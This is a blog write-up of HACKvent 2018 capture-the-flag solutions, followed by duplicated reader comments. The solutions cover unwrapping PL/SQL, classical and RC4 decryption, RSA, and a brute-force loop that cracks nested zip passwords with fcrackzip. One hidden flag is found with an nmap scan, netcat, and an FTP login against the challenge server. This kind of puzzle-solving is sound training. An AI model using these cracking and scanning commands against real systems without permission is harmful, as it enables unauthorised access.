CREATE OR REPLACE FUNCTION checkHV18teaser wrapped a000000 b2 abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd 8 37f 22f 9bGsDUl+WXOiRvCg6f+CmODMp3UwgwIJ+txqfC9Dgz+VaPwOTWaoKj5jW2QUCQapzabE52vy 50h+W7xBf1NE2/Fa93pBwUJtOxLvz1WIU75VaGjqH5M6oL4/aHovVUteU3Arw0eLvVRDEvbd 0mLqbyd4kEtMnI76J3vuLaHC1mkYuwEN6bdmd3GQPBtHV4fWHr5OM5B81yX+kw0560LKdDx8 mVHJvc7y7vShjsCpFgEUd6sfN3ZbOkjjbg+AJSGuIjZzvT7vkQwM5wcQL73C6+BCiaaEG2ja r+3zqCSk6QzcKvIwuBwXf9UHGL4YS47JO3EOmIPOy8VQYfY1M9g6UeieqOftVm/Pr8smR11r UWM8kk1WTmMvY13s1Klpr7tFnzwjmnSnTP9Exz/dV5+cU3mlgyjqkAIsWnGqDGKMfVahOHSc Bzalmd+HDxxBF39ymrsGHfBUv0gAPtnYVCVWiG0Q9ij5DbBffRrsx4uOYuAqJ4KwT5vNpKon MSMAM3ZsIFVQgfnY/sfkB+jfGEuldGYiui7zvIMSHVDfPEE= /
PLS is Oracle PL/SQL. The most important information we have in the teaser.pls file is the hint to the Wrap function. https://docs.oracle.com/cd/B28359_01/appdev.111/b28370/wrap.htm
Wrapping is the process of hiding PL/SQL source code. Wrapping helps to protect your source code from business competitors and others who might misuse it.
But it can be unwrapped: https://www.codecrete.net/UnwrapIt/
FUNCTION checkHV18teaser(FLAG VARCHAR2) RETURN NUMBER IS A VARCHAR2(4); B NUMBER(10); C NUMBER(10); H VARCHAR(40); BEGIN A := SUBSTR(FLAG,1,4); IF NOT (A = 'HV18') THEN RETURN 0; END IF; B := TO_NUMBER(SUBSTR(FLAG,6,2)); C := TO_NUMBER(SUBSTR(FLAG,8,2)); IF NOT (((B * C) = 6497) AND (B < C)) THEN RETURN 0; END IF; A := SUBSTR(FLAG,11,4); SELECT STANDARD_HASH(A, 'MD5') INTO H FROM DUAL; IF NOT (H = 'CF945B5A36D1D3E68FFF78829CC8DBF6') THEN RETURN 0; END IF; IF NOT ((UTL_RAW.CAST_TO_VARCHAR2(UTL_RAW.BIT_XOR (UTL_RAW.CAST_TO_RAW(SUBSTR(FLAG,16,4)), UTL_RAW.CAST_TO_RAW(SUBSTR(FLAG,21,4)))) = 'zvru') AND (TO_NUMBER(SUBSTR(FLAG,21,4)) = SQRT(8814961))) THEN RETURN 0; END IF; IF NOT ( UTL_RAW.CAST_TO_VARCHAR2(UTL_ENCODE.BASE64_ENCODE(UTL_RAW.CAST_TO_RAW(SUBSTR(FLAG,26,4)))) = 'RjBtMA==') THEN RETURN 0; END IF; DBMS_OUTPUT.PUT_LINE(A); RETURN 1; END;
This is pretty straight forward to read and can be easily reversed.
–> HV18-7389-H0b0-HODL-2969-F0m0
Solution:
File in question:
Santa has caught up with the information age and does not trust clear-text commands anymore. He has decided that all communications have to be encrypted to prevent an unfriendly take-over of his team. Santa chooses a simple, secure, and toolless encryption scheme. However, his team's memory capacity is limited and so he can only use their names (Dasher, Dancer, Prancer, Vixen, Comet, Cupid, Donder and Blitzen) as keys. Where is the team headed to? STTYN YATLOEP DNEA ONBL TGNTO MHEHH EISTIARIB FHSRA LD IIONA NL HERUV LN17-PTAA-RTON-RDOE-MCTN-AHCO
According to the hints in the text we have a classic cipher (Toolless encryption) and we most likely need more than one key to decrypt the message.
I honestly had a long time to solve this. Over a timeframe of multiple days I tried all different encryption algorithm and tools. In the end I’ve found the right tool and algorithm. I could solve it with the transposition cipher, but only with crypttool on Windows! Apparently in Crypttool for Windows the transposition cipher can be used together with permutation, which worked..
After trying different combinations of the keywords I have found the right one: Donder and Blitzen.
SANTA CALLING TEAM FULL SPEED AHEAD DIRECTION NORTH BY NORTH BY NORTH HV17-NORT-HPOL-EMAI-NSTA-TION
–> HV17-NORT-HPOL-EMAI-NSTA-TION
Solution:
Embedded in the PDF file there is also a z.zip file. Which is password protected.. Only a single character password is used. I used fcrackzip to crack the password.
$ fcrackzip -b -c "aA1:., " -v -l 1-4 -u z.zip
But then another zip file was extracted, also password protected. This had to be solved in an automated way. And all the passwords concatenated return a string with the flag.
while true; do x=`fcrackzip -b -c "aA1:., " -v -l 1-4 -u z.zip | awk '{print $5}' | awk 'END {print}'`; y="$y$x"; echo $y; unzip -P "$x" -qo z.zip || unzip -P " " -qo z.zip; sleep 0.2; done
Which resulted in something like this.
skippingFarshedeachhighreadaremenoverday.Afraidwepraiselivelyhesufferfamilyestateis.Ampleorderupinofinready.Timedblindhadnowthoseoughtsetoftenwhich.Orsnugdullheshowmoretruewish.Noatmanydenyawaymissevil.Oninsoindeedspiritanmother.Amountedoldstrictlybutmarianneadmitted.Peopleformerisremoveremainas.Suddenlookedelinoroffgayestatenorsilent.Sonreadsuchnextseetheresttwo.Wasuseextentoldentiresussex.YournuggetistHV18
The zips with “-” dashes as password I had to unzip manually. I didn’t find a method to include this in my bash one liner. 🙂
–> HV18-WO3y-7FLk-ExvN-kDue-28JF
Solution:
The final file extracted from the last teaser challenge zip, was xenon.elf! This actually was the hardest challenge of HACKvent for me. I had support to solve this one from otaku and rfz. Thank you guys.
I tried to generate pseudo code with Hopper disassembler or IDA Pro. But both didn’t give very good results for PPC. 🙁 Therefore we really had to go through the assembler code. In the end I used binary ninja to work on this.
Soon it was very clear that the flag was encrypted using RC4. We had the ciphertext but needed to recreate the key. The ciphertext gets loaded from the location 8001ea20 and is:
0xdf,0x66,0x58,0xc0,0x5e,0x93,0xc8,0xd4,0xc4,0xe9,0x5e,0x36,0xb1,0x55,0x14,0x4a,0xbe,0x83,0xc9,0x0a,0xdc,0x2b,0xc5,0xf0,0x8f,0xab,0xbb,0xac,0x49,0xdd,0x0f,0x01,0x97,0xf6,0x66,0x8b,0x07,0xa0,0xb4,0x43
The relevant part where the key is constructed is in this loop:
The inputs for the loop are loaded from the fusesets. Apparently the hint in the assembler code “I wish I was a Devkit” led to that conclusion. Thanks otaku for helping me out here!
Fuseset 0: 0xC0FFFFFFFFFFFFFF Fuseset 1: 0x0F0F0F0F0F0F0F0F
otaku and I created and shared Google document where we went through the assembly instructions.
I implemented the algorithm to solve this challenge in Python:
from Crypto.Cipher import ARC4 import base64 ciphertextArray = [0xdf,0x66,0x58,0xc0,0x5e,0x93,0xc8,0xd4,0xc4,0xe9,0x5e,0x36,0xb1,0x55,0x14,0x4a,0xbe,0x83,0xc9,0x0a,0xdc,0x2b,0xc5,0xf0,0x8f,0xab,0xbb,0xac,0x49,0xdd,0x0f,0x01,0x97,0xf6,0x66,0x8b,0x07,0xa0,0xb4,0x43] r4 = 0x0F0F0F0F0F0F0F0F #fuseset00 r8 = 0xC0FFFFFFFFFFFFFF #fuseset01 r9 = 0 keyArray = [None]*16 for i in range(8): r7 = r9/2 #srawi & addze r10 = 0x150 r7 = 0x7 - r7 #subfic 7 r7 *= 8 #slwi (this is equal to multiplying r7 with 8 (2^3)) r6 = r8 >> r7 #srd r7 = r4 >> r7 #srd keyArray[r9] = r6 & 0xFF #stubx r10 = r9 + 1 #stubx r9 += 2 #addi keyArray[r10] = r7 & 0xFF #stb key = ''.join(format(x, '02x') for x in keyArray).decode("hex") ciphertext = ''.join(format(x, '02x') for x in ciphertextArray).decode("hex") cipher = ARC4.new(key) msg = cipher.decrypt(ciphertext) print("[+] Flag: " + base64.b64decode(msg))
Code in action:
$ python xenon.sol.py [+] Flag: HV18-LIBX-ENON-ISST-ILLA-LIVE
–> HV18-LIBX-ENON-ISST-ILLA-LIVE
Hidden Flag #1
Solution:
Unfortunately the challenge didn’t seem to be up anymore at the time I wrote this. Thus I don’t put the exact console outputs to this one.
Last year there was a flag on a telnet server. I tried to find similarities this year.
- nmap -sS challenges.hackvent.hacking-lab.com
- Open Ports: 21, 22, 23
- nc challenges.hackvent.hacking-lab.com 23
- Santa animation like last year, but Santa says he has no flag. Clearly he is lying!
- Store animation to file
- nc challenges.hackvent.hacking-lab.com 23 | tee secret.txt
- cat secret.txt | sed ‘s/[^a-zA-Z0-9]//g’ | awk ‘length
- Filter for only alphanumeric strings and remove all strings, left only character
- This returned the string “ctrl154n1llu51on”
I didn’t exactly know how to continue from this. But after a while I remembered the other ports I’ve found with nmap: 21, 22. I first tried to connect through SSH but it didn’t work. Second attempt was FTP with the username “santa” and the password “ctrl154n1llu51on”.
The FTP login worked. But we had no rights to do directory listings. I just guessed for the file “flag”
get flag.txt ___ _ _ _ _____ _ ___ ___ _ _ ___ / __| /_\ | \| |_ _/_\ / __| | __| | /_\ / __| \__ \/ _ \| .` | | |/ _ \\__ \ | _|| |__ / _ \ (_ | |___/_/ \_\_|\_| |_/_/ \_\___/ |_| |____/_/ \_\___| Congratulations! Well done! Here you go: ⚑ HV18-PORT-scan-sARE-essn-tial ⚑ Cheers @avarx_
–> HV18-PORT-scan-sARE-essn-tial
Hidden Flag #2
Solution:
This one was embedded in the OSINT challenge of day 5.
$ nslookup -type=any www.hackvent.org Server: 192.168.43.214 Address: 192.168.43.214#53 Non-authoritative answer: www.hackvent.org text = "Nice try, but this would be too easy, nah? However, get a hidden flag: SFYxOC1PU0lOLVRjNG4tUjNWMy1hbEl0LUFsbDE="
–> HV18-OSIN-Tc4n-R3V3-alIt-All1
Hidden Flag #3
Solution:
After some people found the hidden number 3, I also started to look for it and found it embedded in day 14. Already when solving day 14 I thought the commented thumbprint was suspicious, but didn’t go after it back then.
This time I tried what I was trying with the original day 14 challenge, decryption with RSA. I tried the different exponents 3,5,17,257 and 65537. The last one then worked.
import gmpy2 m = 0x1398ED7F59A62962D5A47DD0D32B71156DD6AF6B46BEA949976331B8E1 n = 0x0D8A7A45D9BE42BB3F03F710CF105628E8080F6105224612481908DC721 p = 73197682537506302133452713613304371 q = 79797652691134123797009598697137499 e = 65537 ''' m^d % n x^e % n = m ''' def encrypt(e, n, message): return pow(int(message.encode("hex"), 16), e, n) def decrypt(d, n, message): res = pow(message, d, n) return '{0:02x}'.format(res).decode("hex") phi = (p-1) * (q-1) d = gmpy2.invert(e, phi) plain = decrypt(d, n, m) print(plain)
–> HV18-fn8o-Az1a-cbpG-6gJd-sPkU
Just FYI, Teaser pdf was modified on 3rd of December. Unfortunately I did noticed that after reading your write-up. This is the original (v1) pdf http://ge.tt/8VDalgt2
Thank you for great write-up.
Thanks for the comment and the hint. Yeah indeed, I worked with the easier version which was released a bit later.
Just FYI, Teaser pdf was modified on 3rd of December. Unfortunately I did noticed that after reading your write-up. This is the original (v1) pdf http://ge.tt/8VDalgt2
Thank you for great write-up.
Thanks for the comment and the hint. Yeah indeed, I worked with the easier version which was released a bit later.
Hey can you elaborate on Day3? I have never used watch before, and struggling to find what I am looking for when following:
2. Set a watch on the variable “_0x766f”
3. Read out the flag from the watch.
Ciao Anthony. I opened up the developer console in Google Chrome: Right click on the webpage, then inspect. There I browsed to the “Sources” tab. After inspecting the JS file, I knew about the variable “_0x766f”. On the right side in the Sources Tab you can create a watch. Just press the “+” and then add “_0x766f”. When the JS is executed then you can inspect the values of the watch. That’s all.
I could have sworn that’s what I did but didn’t find anything that looked like a flag. I’ll try it again
Jesus, It’s the second line of the returned block I have no idea how I missed that 😀
😀 These things happen in CTFs 😉
Hey can you elaborate on Day3? I have never used watch before, and struggling to find what I am looking for when following:
2. Set a watch on the variable “_0x766f”
3. Read out the flag from the watch.
Ciao Anthony. I opened up the developer console in Google Chrome: Right click on the webpage, then inspect. There I browsed to the “Sources” tab. After inspecting the JS file, I knew about the variable “_0x766f”. On the right side in the Sources Tab you can create a watch. Just press the “+” and then add “_0x766f”. When the JS is executed then you can inspect the values of the watch. That’s all.
I could have sworn that’s what I did but didn’t find anything that looked like a flag. I’ll try it again
Jesus, It’s the second line of the returned block I have no idea how I missed that 😀
😀 These things happen in CTFs 😉
hey mcia, congratz on perfect score!
nice write-up! i like the way how you solved the QR3C.png. i didn’t find any tool to read corrupted qrcodes so i had to get my hands dirty…
btw you have a typo in my nick ^^
see ya!
Hey pjslf
Thanks and sorry regarding the typo, just corrected it. 🙂
hey mcia, congratz on perfect score!
nice write-up! i like the way how you solved the QR3C.png. i didn’t find any tool to read corrupted qrcodes so i had to get my hands dirty…
btw you have a typo in my nick ^^
see ya!
Hey pjslf
Thanks and sorry regarding the typo, just corrected it. 🙂